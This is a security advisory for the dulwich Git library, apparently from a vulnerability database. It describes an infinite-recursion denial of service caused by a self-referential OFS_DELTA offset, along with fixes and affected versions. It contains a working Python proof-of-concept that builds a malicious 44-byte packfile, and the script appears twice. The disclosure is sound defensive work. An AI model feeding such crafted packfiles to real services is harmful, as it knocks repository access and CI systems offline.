GHSA-35MR-4567-66VG
Vulnerability from github – Published: 2026-10-02 18:54 – Updated: 2026-10-02 18:54Affected file
dulwich/pack.py(Method:Pack.resolve_object)
Description / Summary
A High-severity Denial of Service (DoS) vulnerability exists in the Pack.resolve_object method. When resolving an OFS_DELTA object, the resolver calculates the base offset using base_offset = obj_offset - delta_offset.
If a malicious packfile contains an OFS_DELTA object where delta_offset is 0, the calculation obj_offset - 0 resolves back to the current object's own offset. Because the implementation lacks a depth counter, a "visited" set, or an explicit rejection of delta_offset == 0, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process.
Vulnerable Code Breakdown (dulwich/pack.py):
elif obj_type == OFS_DELTA:
delta_offset = parse_pack_object_offset_at(...)
base_offset = obj_offset - delta_offset # VULNERABILITY: Self-reference if delta_offset == 0
base_type, base_data = self.resolve_object(...) # VULNERABILITY: Infinite recursion
Potential impact
An attacker can trigger this infinite loop via any operation that walks packfiles (e.g., dulwich clone, fetch, cat-file, or internal Pack.__getitem__ lookups).
- CPU Exhaustion: The process will spin at 100% CPU indefinitely.
- Denial of Service: Any service using
dulwich(web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access. - Protocol Incompatibility: This behavior violates the Git packfile specification. The standard
gitC client explicitly guards against this:if (!base_offset) die("delta offset == 0 is invalid");.
POC (Proof of Concept)
The following Python script generates a 44-byte packfile that triggers the loop:
from dulwich.pack import Pack
import struct, zlib, tempfile, os
# Build a single OFS_DELTA entry whose delta_offset is 0
type_ofs_delta = 6
header = bytes([(type_ofs_delta << 4) | 0])
ofs_bytes = bytes([0x00]) # delta_offset = 0
body = zlib.compress(b'')
raw = header + ofs_bytes + body
pack = b'PACK' + struct.pack('>I', 2) + struct.pack('>I', 1) + raw + (b'\x00' * 20)
fd, path = tempfile.mkstemp(suffix='.pack')
os.write(fd, pack); os.close(fd)
# Trigger: This call never returns and spins at 100% CPU
p = Pack(path)
obj = p[list(p.iterobjects())[0]]
Possible solution
- Explicit Guard: Add a check in
Pack.resolve_objectto rejectdelta_offset == 0:python if delta_offset == 0: raise CorruptPacksFile("OFS_DELTA has self-referential delta_offset=0") - Recursion Depth: Implement a depth limit (e.g.,
MAX_DELTA_DEPTH = 50) to prevent long, non-looping chains of deltas (OFS or REF).
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "dulwich"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-02T18:54:39Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Affected file\n* `dulwich/pack.py` (Method: `Pack.resolve_object`)\n\n### Description / Summary\nA High-severity Denial of Service (DoS) vulnerability exists in the `Pack.resolve_object` method. When resolving an `OFS_DELTA` object, the resolver calculates the base offset using `base_offset = obj_offset - delta_offset`.\n\nIf a malicious packfile contains an `OFS_DELTA` object where `delta_offset` is `0`, the calculation `obj_offset - 0` resolves back to the current object\u0027s own offset. Because the implementation lacks a depth counter, a \"visited\" set, or an explicit rejection of `delta_offset == 0`, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process.\n\n**Vulnerable Code Breakdown (`dulwich/pack.py`):**\n```python\nelif obj_type == OFS_DELTA:\n delta_offset = parse_pack_object_offset_at(...)\n base_offset = obj_offset - delta_offset # VULNERABILITY: Self-reference if delta_offset == 0\n base_type, base_data = self.resolve_object(...) # VULNERABILITY: Infinite recursion\n```\n\n### Potential impact\n\nAn attacker can trigger this infinite loop via any operation that walks packfiles (e.g., `dulwich clone`, `fetch`, `cat-file`, or internal `Pack.__getitem__` lookups). \n\n1. **CPU Exhaustion:** The process will spin at 100% CPU indefinitely.\n2. **Denial of Service:** Any service using `dulwich` (web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access.\n3. **Protocol Incompatibility:** This behavior violates the Git packfile specification. The standard `git` C client explicitly guards against this: `if (!base_offset) die(\"delta offset == 0 is invalid\");`.\n\n### POC (Proof of Concept)\nThe following Python script generates a 44-byte packfile that triggers the loop:\n\n```python\nfrom dulwich.pack import Pack\nimport struct, zlib, tempfile, os\n\n# Build a single OFS_DELTA entry whose delta_offset is 0\ntype_ofs_delta = 6\nheader = bytes([(type_ofs_delta \u003c\u003c 4) | 0])\nofs_bytes = bytes([0x00]) # delta_offset = 0\nbody = zlib.compress(b\u0027\u0027)\nraw = header + ofs_bytes + body\n\npack = b\u0027PACK\u0027 + struct.pack(\u0027\u003eI\u0027, 2) + struct.pack(\u0027\u003eI\u0027, 1) + raw + (b\u0027\\x00\u0027 * 20)\n\nfd, path = tempfile.mkstemp(suffix=\u0027.pack\u0027)\nos.write(fd, pack); os.close(fd)\n\n# Trigger: This call never returns and spins at 100% CPU\np = Pack(path)\nobj = p[list(p.iterobjects())[0]]\n```\n\n### Possible solution\n1. **Explicit Guard:** Add a check in `Pack.resolve_object` to reject `delta_offset == 0`:\n ```python\n if delta_offset == 0:\n raise CorruptPacksFile(\"OFS_DELTA has self-referential delta_offset=0\")\n ```\n2. **Recursion Depth:** Implement a depth limit (e.g., `MAX_DELTA_DEPTH = 50`) to prevent long, non-looping chains of deltas (OFS or REF).",
"id": "GHSA-35mr-4567-66vg",
"modified": "2026-10-02T18:54:39Z",
"published": "2026-10-02T18:54:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jelmer/dulwich/security/advisories/GHSA-35mr-4567-66vg"
},
{
"type": "WEB",
"url": "https://github.com/jelmer/dulwich/commit/d06ffc3e1aff0ea0a32094debead891be0083eb7"
},
{
"type": "PACKAGE",
"url": "https://github.com/jelmer/dulwich"
},
{
"type": "WEB",
"url": "https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Dulwich: Infinite Loop Denial of Service (DoS) in Packfile Object Resolution"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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